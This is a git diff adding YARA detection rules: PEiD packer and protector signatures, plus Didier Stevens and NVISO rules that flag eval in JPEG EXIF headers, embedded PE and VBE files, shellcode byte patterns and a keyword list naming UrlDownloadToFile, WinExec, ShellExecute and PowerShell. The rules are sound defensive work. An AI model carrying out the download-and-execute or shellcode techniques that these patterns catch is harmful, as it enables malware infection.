+        $a = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8E 00 00 00 E8 03 00 00 00 EB 01 ?? E8 81 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B7 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AA 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2D E8 03 00 00 00 EB 01 ?? 60 E8 00 00 00 00 5D 81 ED 07 E2 40 00 8B D5 81 C2 56 E2 40 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3 E8 03 00 00 00 EB 01 ?? 33 DB B9 4B 0C 41 00 81 E9 01 E3 40 00 8B D5 81 C2 01 E3 40 00 8D 3A 8B F7 33 C0 E8 03 00 00 00 EB 01 ?? E8 17 00 00 00 90 90 90 E9 9C 22 00 00 33 C0 64 FF 30 64 89 20 43 CC C3 CC CC CC CC AC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03540_yoda_s_Protector_V1_03_3____Ashkbiz_Danehkar___Sign_by_fly_
+{
+    meta:
+        description = "[yoda's Protector V1.03.3 -> Ashkbiz Danehkar ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8E 00 00 00 E8 03 00 00 00 EB 01 ?? E8 81 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B7 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AA 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2D E8 03 00 00 00 EB 01 ?? 60 E8 00 00 00 00 5D 81 ED 07 E2 40 00 8B D5 81 C2 56 E2 40 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03541_yoda_s_Protector_V1_0b____Ashkbiz_Danehkar___Sign_by_fly_
+{
+    meta:
+        description = "[yoda's Protector V1.0b -> Ashkbiz Danehkar ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 4C 32 40 00 E8 03 00 00 00 EB 01 ?? B9 EA 47 40 00 81 E9 E9 32 40 00 8B D5 81 C2 E9 32 40 00 8D 3A 8B F7 33 C0 E8 04 00 00 00 90 EB 01 ?? E8 03 00 00 00 EB 01 ?? AC}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_03542_yP_1_0b_by_Ashkbiz_Danehkar_
+{
+    meta:
+        description = "[yP 1.0b by Ashkbiz Danehkar]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 4C 32 40 00 E8 03 00 00 00 EB 01 ?? B9 EA 47 40 00 81 E9 E9 32 40 00 8B D5 81 C2 E9 32 40 00 8D 3A 8B F7 33 C0 E8 04 00 00 00 90 EB 01 C2 E8 03 00 00 00 EB 01 ?? AC ?? ?? ?? ?? ?? ?? ?? EB 01 E8}
+    condition:
+        $a
+}
+
+rule PEiD_03543_yzPack_1_0____UsAr_
+{
+    meta:
+        description = "[yzPack 1.0 -> UsAr]"
+        ep_only = "true"
+    strings:
+        $a = {60 33 C0 8D 48 07 50 E2 FD 8B EC 64 8B 40 30 78 0C 8B 40 0C}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03544_YZPack_1_2____UsAr_
+{
+    meta:
+        description = "[YZPack 1.2 -> UsAr]"
+        ep_only = "true"
+    strings:
+        $a = {4D 5A 52 45 60 83 EC 18 8B EC 8B FC 33 C0 64 8B 40 30 78 0C 8B 40 0C 8B 70 1C AD 8B 40 08 EB 09 8B 40 34 83 C0 7C 8B 40 3C AB E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03545_yzpack_V1_1____UsAr___Sign_by_fly_
+{
+    meta:
+        description = "[yzpack V1.1 -> UsAr ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {60 33 C0 8D 48 07 50 E2 FD 8B EC 64 8B 40 30 78 0C 8B 40 0C 8B 70 1C AD 8B 40 08 EB 09 8B 40 34 8D 40 7C 8B 40 3C 89 45 04 E8 F3 07 00 00 60 8B 5D 04 8B 73 3C 8B 74 33 78 03 F3 56 8B 76 20 03 F3 33 C9 49 92 41 AD 03 C3 52 33 FF 0F B6 10 38 F2}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03546_yzpack_V1_12____UsAr___Sign_by_fly_
+{
+    meta:
+        description = "[yzpack V1.12 -> UsAr ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {5A 52 45 60 83 EC 18 8B EC 8B FC 33 C0 64 8B 40 30 78 0C 8B 40 0C 8B 70 1C AD 8B 40 08 EB 09 8B 40 34 83 C0 7C 8B 40 3C AB E9 ?? ?? ?? ?? B4 09 BA 00 00 1F CD 21 B8 01 4C CD 21 40 00 00 00 50 45 00 00 4C 01 02 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 E0 00 ?? ?? 0B 01 ?? ?? ?? ?? 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03547_yzpack_V1_12____UsAr_
+{
+    meta:
+        description = "[yzpack V1.12 -> UsAr]"
+        ep_only = "true"
+    strings:
+        $a = {5A 52 45 60 83 EC 18 8B EC 8B FC 33 C0 64 8B 40 30 78 0C 8B 40 0C 8B 70 1C AD 8B 40 08 EB 09 8B 40 34 83 C0 7C 8B 40 3C AB E9 ?? ?? ?? ?? B4 09 BA 00 00 1F CD 21 B8 01 4C CD 21 40 00 00 00 50 45 00 00 4C 01 02 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 E0 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03548_yzpack_V2_0____UsAr___Sign_by_fly_
+{
+    meta:
+        description = "[yzpack V2.0 -> UsAr ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {25 ?? ?? ?? ?? 61 87 CC 55 45 45 55 81 ED CA 00 00 00 55 A4 B3 02 FF 14 24 73 F8 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 1F B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3C AA EB DC FF 54 24 04 2B CB 75 0F FF 54 24 08 EB 27 AC D1 E8 74 30 13 C9 EB 1B 91 48 C1 E0 08 AC FF 54 24 08 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 99 BD ?? ?? ?? ?? FF 65 28}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03549_yzpack_V2_0____UsAr_
+{
+    meta:
+        description = "[yzpack V2.0 -> UsAr]"
+        ep_only = "true"
+    strings:
+        $a = {25 ?? ?? ?? ?? 61 87 CC 55 45 45 55 81 ED CA 00 00 00 55 A4 B3 02 FF 14 24 73 F8 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 1F B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3C AA EB DC FF 54 24 04 2B CB 75 0F FF 54 24 08 EB 27 AC D1 E8 74 30 13 C9 EB 1B 91 48 C1 E0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03550_ZCode_Win32_PE_Protector_v1_01_
+{
+    meta:
+        description = "[ZCode Win32/PE Protector v1.01]"
+        ep_only = "true"
+    strings:
+        $a = {E9 12 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E9 FB FF FF FF C3 68 ?? ?? ?? ?? 64 FF 35}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_03551_ZealPack_1_0____Zeal_
+{
+    meta:
+        description = "[ZealPack 1.0 -> Zeal]"
+        ep_only = "true"
+    strings:
+        $a = {C7 45 F4 00 00 40 00 C7 45 F0 ?? ?? ?? ?? 8B 45 F4 05 ?? ?? ?? ?? 89 45 F4 C7 45 FC 00 00 00 00 EB 09 8B 4D FC 83 C1 01 89 4D FC 8B 55 FC 3B 55 F0 7D 22 8B 45 F4 03 45 FC 8A 08 88 4D F8 0F BE 55 F8 83 F2 0F 88 55 F8 8B 45 F4 03 45 FC 8A 4D F8 88 08 EB CD FF 65 F4}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03552_ZipWorxSecureEXE_2_5____ZipWORX_Technologies_LLC__h__
+{
+    meta:
+        description = "[ZipWorxSecureEXE 2.5 -> ZipWORX Technologies LLC (h)]"
+        ep_only = "false"
+    strings:
+        $a = {E9 B8 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 53 65 63 75 72 65 45 58 45 20 45 78 65 63 75 74 61 62 6C 65 20 46 69 6C 65 20 50 72 6F 74 65 63 74 6F 72 0D 0A 43 6F 70 79 72 69 67 68 74 28 63 29 20 32 30}
+    condition:
+        $a
+}
+
+rule PEiD_03553_ZipWorxSecureEXE_v2_5____ZipWORX_Technologies_LLC__h__
+{
+    meta:
+        description = "[ZipWorxSecureEXE v2.5 -> ZipWORX Technologies LLC (h)]"
+        ep_only = "true"
+    strings:
+        $a = {E9 B8 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 53 65 63 75 72 65 45 58 45 20 45 78 65 63 75 74 61 62 6C 65 20 46 69 6C 65 20 50 72 6F 74 65 63 74 6F 72 0D 0A 43 6F 70 79 72 69 67 68 74 28 63 29 20 32 30 30 34 2D 32 30 30 37 20 5A 69 70 57 4F 52 58 20 54 65 63 68 6E 6F 6C 6F 67 69 65 73 2C 20 4C 4C 43 0D 0A 50 6F 72 74 69 6F 6E 73 20 43 6F 70 79 72 69 67 68 74 20 28 63 29 20 31 39 39 37 2D 32 30 30 31 20 4C 65 65 20 48 61 73 69 75 6B 0D 0A 41 6C 6C 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2E 0D 0A 00 00 8B 44 24 04 23 05 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 83 C4 04 FE 05 ?? ?? ?? ?? 0B C0 74 02 FF E0 8B E5 5D C2 0C 00 80 3D ?? ?? ?? ?? 00 75 13 50 2B C0 50 E8 ?? ?? 00 00 83 C4 04 58 FE 05 ?? ?? ?? ?? ?? 94 9A 8D 91 9A 93 CC CD 00 B8 93 90 9D 9E 93 BE 93 93 90 9C 00 B8 93 90 9D 9E 93 B9 8D 9A 9A 00 B8 9A 8B B2 90 9B 8A 93 9A B7 9E 91 9B 93 9A BE 00 B8 9A 8B B2 90}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03554_Zortech_C_v2_00_1988__1989_
+{
+    meta:
+        description = "[Zortech C v2.00 1988, 1989]"
+        ep_only = "true"
+    strings:
+        $a = {FA B8 ?? ?? 8E D8 8C ?? ?? ?? 26 8B ?? ?? ?? 89 1E ?? ?? 8B D8 2B 1E ?? ?? 89 1E}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03555_Zortech_C_v3_0_
+{
+    meta:
+        description = "[Zortech C v3.0]"
+        ep_only = "true"
+    strings:
+        $a = {FA FC B8 ?? ?? ?? 8C C8 8E D8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03556_Zortech_C_
+{
+    meta:
+        description = "[Zortech C]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 2E FF ?? ?? ?? FC 06}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03557_Zurenava_DOS_Extender_v0_45__v0_49_
+{
+    meta:
+        description = "[Zurenava DOS Extender v0.45, v0.49]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? BF ?? ?? B9 ?? ?? 56 FC F3 A5 5F E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03558_______EXE______________________________
+{
+    meta:
+        description = "[Convert Base64 to ASCII wrLDmMK+wqjCuMOzRVhFw47DhMK8w77DgMKmwrDDs8K7w7ogwrvDocOUwrHDl8KowrDDpiAtPiDCs8OCwr7CrcOowro=]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 E4 53 56 57 33 C0 89 45 E4 89 45}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03559_____EXE___________v1_0_________
+{
+    meta:
+        description = "[Convert Base64 to ASCII wr3DjMOWw7dFWEXDjsOEwrzDvsOAwqbCsMOzw4bDtyB2MS4wIC0+IMK9w4zDlsO3]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 08 4B 40 00 68 36 3A 40 00 64 A1}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03560____v1_0____Li_Jianjun_
+{
+    meta:
+        description = "[Convert Base64 to ASCII w4nDviB2MS4wIC0+IExpLUppYW5qdW4=]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 0A 4A 44 00 BB 04 4A 44}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_03561____________v1_0_________
+{
+    meta:
+        description = "[Convert Base64 to ASCII w47DhMK8w77DgMKmwrDDs8OGw7cgdjEuMCAtPiDDkMOtw5TDhg==]"
+        ep_only = "true"
+    strings:
+        $a = {64 A1 00 00 00 00 55 89 E5 6A FF 68 1C 30 40 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03562_____EXE__________yy66_
+{
+    meta:
+        description = "[Convert Base64 to ASCII w5DDhMOGw6ZFWEXCusOPwrLCosOGw7cgLT4geXk2Ng==]"
+        ep_only = "true"
+    strings:
+        $a = {68 78 18 40 00 E8 F0 FF FF FF 00 00 00 00 00 00 30}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03563__________2_2b____Shoooo_
+{
+    meta:
+        description = "[Convert Base64 to ASCII w5zCpcKxwrHDkcK5w4vDtSAyLjJiIC0+IFNob29vbw==]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 01 00 00 00 C3 C3 11 55 07 8B EC B8 14 80 0E 03 E8 D1 09 00 0A 57 33 D2 FF 75 18 B9 E8 1F DE 16 81 C0 8D BD EE 7F FB F8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03564__________2_2b_Anti____xiaohui_
+{
+    meta:
+        description = "[Convert Base64 to ASCII w5zCpcKxwrHDkcK5w4vDtSAyLjJiIEFudGkgLT4geGlhb2h1aQ==]"
+        ep_only = "true"
+    strings:
+        $a = {EB F4 11 55 07 8B EC B8 14 80 0E 03 E8 D1 09 00 0A 57 33 D2 FF 75 18 B9 E8 1F DE 16 81 C0 8D BD EE 7F FB F8}
+    condition:
+        $a at pe.entry_point
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Didier Stevens/JPEG_EXIF_Contains_eval.yara b/yara-mikesxrs/Didier Stevens/JPEG_EXIF_Contains_eval.yara
new file mode 100644
index 0000000..e945f0e
--- /dev/null
+++ b/yara-mikesxrs/Didier Stevens/JPEG_EXIF_Contains_eval.yara	
@@ -0,0 +1,29 @@
+/*
+  Version 0.0.3 2015/02/15
+  Source code put in public domain by Didier Stevens, no Copyright
+  https://DidierStevens.com
+  Use at your own risk
+
+  Shortcomings, or todo's ;-) :
+    Constant 0x06 in the condition is the minimum length of the string matched by regex $b.
+    Ideally, this should be an expression and not a constant, for example len($d).
+
+  History:
+    2014/12/23: start
+    2015/01/01: continued
+    2015/01/11: changed regex to \W
+    2015/02/15: replaced regex \W with \b (available in YARA 3.3.0)
+*/
+
+rule JPEG_EXIF_Contains_eval
+{
+    meta:
+        author = "Didier Stevens (https://DidierStevens.com)"
+        description = "Detect eval function inside JPG EXIF header (http://blog.sucuri.net/2013/07/malware-hidden-inside-jpg-exif-headers.html)"
+        method = "Detect JPEG file and EXIF header ($a) and eval function ($b) inside EXIF data"
+    strings:
+        $a = {FF E1 ?? ?? 45 78 69 66 00}
+        $b = /\beval\s*\(/
+    condition:
+        uint16be(0x00) == 0xFFD8 and $a and $b in (@a + 0x12 .. @a + 0x02 + uint16be(@a + 0x02) - 0x06)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Didier Stevens/Nviso.yar b/yara-mikesxrs/Didier Stevens/Nviso.yar
new file mode 100644
index 0000000..3c21a2d
--- /dev/null
+++ b/yara-mikesxrs/Didier Stevens/Nviso.yar	
@@ -0,0 +1,53 @@
+/*
+  Version 0.0.1 2017/01/09
+  Copyright 2017 NVISO
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+      http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+
+  https://www.nviso.be
+
+  History:
+    2017/01/09: start
+*/
+
+import "pe"
+
+rule py2exe
+{
+  meta:
+        author = "Didier Stevens (https://www.nviso.be)"
+        description = "Detect PE file produced by py2exe"
+  condition:
+        for any i in (0 .. pe.number_of_resources - 1):
+          (pe.resources[i].type_string == "P\x00Y\x00T\x00H\x00O\x00N\x00S\x00C\x00R\x00I\x00P\x00T\x00")
+}
+
+rule ppaction {
+meta:
+  author = "Nviso labs/Didier Stevens (https://www.nviso.be)"
+  reference = "https://blog.nviso.be/2017/06/07/malicious-powerpoint-documents-abusing-mouse-over-actions/amp/"
+strings:
+  $a = "ppaction" nocase
+condition:
+  $a
+}
+
+rule powershell {
+meta:
+  author = "Nviso labs/Didier Stevens (https://www.nviso.be)"
+  reference = "https://blog.nviso.be/2017/06/07/malicious-powerpoint-documents-abusing-mouse-over-actions/amp/"
+strings:
+  $a = "powershell" nocase
+condition:
+  $a
+}
diff --git a/yara-mikesxrs/Didier Stevens/PE_PyInstaller.yar b/yara-mikesxrs/Didier Stevens/PE_PyInstaller.yar
new file mode 100644
index 0000000..a7adc2a
--- /dev/null
+++ b/yara-mikesxrs/Didier Stevens/PE_PyInstaller.yar	
@@ -0,0 +1,25 @@
+/*
+  Version 0.0.1 2016/05/14
+  Source code put in public domain by Didier Stevens, no Copyright
+  https://DidierStevens.com
+  Use at your own risk
+
+  Shortcomings, or todo's ;-) :
+
+  History:
+    2016/05/14: start
+*/
+
+import "pe"
+
+rule PE_File_pyinstaller
+{
+    meta:
+        author = "Didier Stevens (https://DidierStevens.com)"
+        description = "Detect PE file produced by pyinstaller"
+        reference = "https://blog.didierstevens.com/2016/05/16/new-yara-rule-pe_file_pyinstaller/"
+    strings:
+        $a = "pyi-windows-manifest-filename"
+    condition:
+        pe.number_of_resources > 0 and $a
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Didier Stevens/contains_pe_file.yara b/yara-mikesxrs/Didier Stevens/contains_pe_file.yara
new file mode 100644
index 0000000..358e62f
--- /dev/null
+++ b/yara-mikesxrs/Didier Stevens/contains_pe_file.yara	
@@ -0,0 +1,24 @@
+/*
+  Version 0.0.1 2014/12/13
+  Source code put in public domain by Didier Stevens, no Copyright
+  https://DidierStevens.com
+  Use at your own risk
+
+  Shortcomings, or todo's ;-) :
+
+  History:
+    2014/12/13: start
+    2014/12/15: documentation
+*/
+
+rule Contains_PE_File
+{
+    meta:
+        author = "Didier Stevens (https://DidierStevens.com)"
+        description = "Detect a PE file inside a byte sequence"
+        method = "Find string MZ followed by string PE at the correct offset (AddressOfNewExeHeader)"
+    strings:
+        $a = "MZ"
+    condition:
+        for any i in (1..#a): (uint32(@a[i] + uint32(@a[i] + 0x3C)) == 0x00004550)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Didier Stevens/contains_vbe_file.yara b/yara-mikesxrs/Didier Stevens/contains_vbe_file.yara
new file mode 100644
index 0000000..ffd5691
--- /dev/null
+++ b/yara-mikesxrs/Didier Stevens/contains_vbe_file.yara	
@@ -0,0 +1,23 @@
+/*
+  Version 0.0.1 2016/03/21
+  Source code put in public domain by Didier Stevens, no Copyright
+  https://DidierStevens.com
+  Use at your own risk
+
+  Shortcomings, or todo's ;-) :
+
+  History:
+    2016/03/21: start
+*/
+
+rule Contains_VBE_File
+{
+    meta:
+        author = "Didier Stevens (https://DidierStevens.com)"
+        description = "Detect a VBE file inside a byte sequence"
+        method = "Find string starting with #@~^ and ending with ^#~@"
+    strings:
+        $vbe = /#@~\^.+\^#~@/
+    condition:
+        $vbe
+}
diff --git a/yara-mikesxrs/Didier Stevens/maldoc.yara b/yara-mikesxrs/Didier Stevens/maldoc.yara
new file mode 100644
index 0000000..050af99
--- /dev/null
+++ b/yara-mikesxrs/Didier Stevens/maldoc.yara	
@@ -0,0 +1,171 @@
+/*
+  Version 0.0.1 2014/12/15
+  Source code put in public domain by Didier Stevens, no Copyright
+  https://DidierStevens.com
+  Use at your own risk
+
+  Shortcomings, or todo's ;-) :
+
+  History:
+    2014/12/15: start
+*/
+
+rule maldoc_API_hashing
+{
+    meta:
+        author = "Didier Stevens (https://DidierStevens.com)"
+    strings:
+        $a1 = {AC 84 C0 74 07 C1 CF 0D 01 C7 EB F4 81 FF}
+        $a2 = {AC 84 C0 74 07 C1 CF 07 01 C7 EB F4 81 FF}
+    condition:
+        any of them
+}
+
+rule maldoc_function_prolog_signature
+{
+    meta:
+        author = "Didier Stevens (https://DidierStevens.com)"
+    strings:
+        $a1 = {55 8B EC 81 EC}
+        $a2 = {55 8B EC 83 C4}
+        $a3 = {55 8B EC E8}
+        $a4 = {55 8B EC E9}
+        $a5 = {55 8B EC EB}
+    condition:
+        any of them
+}
+
+rule maldoc_structured_exception_handling
+{
+    meta:
+        author = "Didier Stevens (https://DidierStevens.com)"
+    strings:
+        $a1 = {64 8B (05|0D|15|1D|25|2D|35|3D) 00 00 00 00}
+        $a2 = {64 A1 00 00 00 00}
+    condition:
+        any of them
+}
+/*
+rule maldoc_indirect_function_call_1
+{
+    meta:
+        author = "Didier Stevens (https://DidierStevens.com)"
+    strings:
+        $a = {FF 75 ?? FF 55 ??}
+    condition:
+        for any i in (1..#a): (uint8(@a[i] + 2) == uint8(@a[i] + 5))
+}
+*/
+/*
+rule maldoc_indirect_function_call_2
+{
+    meta:
+        author = "Didier Stevens (https://DidierStevens.com)"
+    strings:
+        $a = {FF B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ??}
+    condition:
+        for any i in (1..#a): ((uint8(@a[i] + 2) == uint8(@a[i] + 8)) and (uint8(@a[i] + 3) == uint8(@a[i] + 9)) and (uint8(@a[i] + 4) == uint8(@a[i] + 10)) and (uint8(@a[i] + 5) == uint8(@a[i] + 11)))
+}
+*/
+/*
+rule maldoc_indirect_function_call_3
+{
+    meta:
+        author = "Didier Stevens (https://DidierStevens.com)"
+    strings:
+        $a = {FF B7 ?? ?? ?? ?? FF 57 ??}
+    condition:
+        $a
+}
+*/
+
+rule maldoc_find_kernel32_base_method_1
+{
+    meta:
+        author = "Didier Stevens (https://DidierStevens.com)"
+    strings:
+        $a1 = {64 8B (05|0D|15|1D|25|2D|35|3D) 30 00 00 00}
+        $a2 = {64 A1 30 00 00 00}
+    condition:
+        any of them
+}
+/*
+rule maldoc_find_kernel32_base_method_2
+{
+    meta:
+        author = "Didier Stevens (https://DidierStevens.com)"
+    strings:
+        $a = {31 ?? ?? 30 64 8B ??}
+    condition:
+        for any i in (1..#a): ((uint8(@a[i] + 1) >= 0xC0) and (((uint8(@a[i] + 1) & 0x38) >> 3) == (uint8(@a[i] + 1) & 0x07)) and ((uint8(@a[i] + 2) & 0xF8) == 0xA0) and (uint8(@a[i] + 6) <= 0x3F) and (((uint8(@a[i] + 6) & 0x38) >> 3) != (uint8(@a[i] + 6) & 0x07)))
+}
+*/
+
+/*
+rule maldoc_find_kernel32_base_method_3
+{
+    meta:
+        author = "Didier Stevens (https://DidierStevens.com)"
+    strings:
+        $a = {68 30 00 00 00 (58|59|5A|5B|5C|5D|5E|5F) 64 8B ??}
+    condition:
+        for any i in (1..#a): (((uint8(@a[i] + 5) & 0x07) == (uint8(@a[i] + 8) & 0x07)) and (uint8(@a[i] + 8) <= 0x3F) and (((uint8(@a[i] + 8) & 0x38) >> 3) != (uint8(@a[i] + 8) & 0x07)))
+}
+*/
+
+/*
+rule maldoc_getEIP_method_1
+{
+    meta:
+        author = "Didier Stevens (https://DidierStevens.com)"
+    strings:
+        $a = {E8 00 00 00 00 (58|59|5A|5B|5C|5D|5E|5F)}
+    condition:
+        $a
+}
+*/
+rule maldoc_getEIP_method_4
+{
+    meta:
+        author = "Didier Stevens (https://DidierStevens.com)"
+    strings:
+        $a1 = {D9 EE D9 74 24 F4 (58|59|5A|5B|5C|5D|5E|5F)}
+        $a2 = {D9 EE 9B D9 74 24 F4 (58|59|5A|5B|5C|5D|5E|5F)}
+    condition:
+        any of them
+}
+
+rule maldoc_OLE_file_magic_number
+{
+    meta:
+        author = "Didier Stevens (https://DidierStevens.com)"
+    strings:
+        $a = {D0 CF 11 E0}
+    condition:
+        $a
+}
+
+rule maldoc_suspicious_strings
+{
+    meta:
+        author = "Didier Stevens (https://DidierStevens.com)"
+    strings:
+        $a01 = "CloseHandle"
+        $a02 = "CreateFile"
+        $a03 = "GetProcAddr"
+        $a04 = "GetSystemDirectory"
+        $a05 = "GetTempPath"
+        $a06 = "GetWindowsDirectory"
+        $a07 = "IsBadReadPtr"
+        $a08 = "IsBadWritePtr"
+        $a09 = "LoadLibrary"
+        $a10 = "ReadFile"
+        $a11 = "SetFilePointer"
+        $a12 = "ShellExecute"
+        $a13 = "UrlDownloadToFile"
+        $a14 = "VirtualAlloc"
+        $a15 = "WinExec"
+        $a16 = "WriteFile"
+    condition:
+        any of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Didier Stevens/peid-userdb-rules-with-pe-module.yara b/yara-mikesxrs/Didier Stevens/peid-userdb-rules-with-pe-module.yara
new file mode 100644
index 0000000..f0778d7
--- /dev/null
+++ b/yara-mikesxrs/Didier Stevens/peid-userdb-rules-with-pe-module.yara	
@@ -0,0 +1,39164 @@
+/*
+  Version 0.0.1 2014/12/13
+  Source code put in public domain by Didier Stevens, no Copyright
+  https://DidierStevens.com
+  Use at your own risk
+
+  Shortcomings, or todo's ;-) :
+
+  History:
+    2014/12/13: start
+    2014/12/15: documentation
+*/
+
+rule Contains_PE_File
+{
+    meta:
+        author = "Didier Stevens (https://DidierStevens.com)"
+        description = "Detect a PE file inside a byte sequence"
+        method = "Find string MZ followed by string PE at the correct offset (AddressOfNewExeHeader)"
+    strings:
+        $a = "MZ"
+    condition:
+        for any i in (1..#a): (uint32(@a[i] + uint32(@a[i] + 0x3C)) == 0x00004550)
+}
+/*
+  Version 0.0.1 2016/03/21
+  Source code put in public domain by Didier Stevens, no Copyright
+  https://DidierStevens.com
+  Use at your own risk
+
+  Shortcomings, or todo's ;-) :
+
+  History:
+    2016/03/21: start
+*/
+
+rule Contains_VBE_File
+{
+    meta:
+        author = "Didier Stevens (https://DidierStevens.com)"
+        description = "Detect a VBE file inside a byte sequence"
+        method = "Find string starting with #@~^ and ending with ^#~@"
+    strings:
+        $vbe = /#@~\^.+\^#~@/
+    condition:
+        $vbe
+}
+/*
+  Version 0.0.3 2015/02/15
+  Source code put in public domain by Didier Stevens, no Copyright
+  https://DidierStevens.com
+  Use at your own risk
+
+  Shortcomings, or todo's ;-) :
+    Constant 0x06 in the condition is the minimum length of the string matched by regex $b.
+    Ideally, this should be an expression and not a constant, for example len($d).
+
+  History:
+    2014/12/23: start
+    2015/01/01: continued
+    2015/01/11: changed regex to \W
+    2015/02/15: replaced regex \W with \b (available in YARA 3.3.0)
+*/
+
+rule JPEG_EXIF_Contains_eval
+{
+    meta:
+        author = "Didier Stevens (https://DidierStevens.com)"
+        description = "Detect eval function inside JPG EXIF header (http://blog.sucuri.net/2013/07/malware-hidden-inside-jpg-exif-headers.html)"
+        method = "Detect JPEG file and EXIF header ($a) and eval function ($b) inside EXIF data"
+    strings:
+        $a = {FF E1 ?? ?? 45 78 69 66 00}
+        $b = /\beval\s*\(/
+    condition:
+        uint16be(0x00) == 0xFFD8 and $a and $b in (@a + 0x12 .. @a + 0x02 + uint16be(@a + 0x02) - 0x06)
+}
+/*
+  Version 0.0.1 2014/12/15
+  Source code put in public domain by Didier Stevens, no Copyright
+  https://DidierStevens.com
+  Use at your own risk
+
+  Shortcomings, or todo's ;-) :
+
+  History:
+    2014/12/15: start
+*/
+
+rule maldoc_API_hashing
+{
+    meta:
+        author = "Didier Stevens (https://DidierStevens.com)"
+    strings:
+        $a1 = {AC 84 C0 74 07 C1 CF 0D 01 C7 EB F4 81 FF}
+        $a2 = {AC 84 C0 74 07 C1 CF 07 01 C7 EB F4 81 FF}
+    condition:
+        any of them
+}
+
+rule maldoc_function_prolog_signature
+{
+    meta:
+        author = "Didier Stevens (https://DidierStevens.com)"
+    strings:
+        $a1 = {55 8B EC 81 EC}
+        $a2 = {55 8B EC 83 C4}
+        $a3 = {55 8B EC E8}
+        $a4 = {55 8B EC E9}
+        $a5 = {55 8B EC EB}
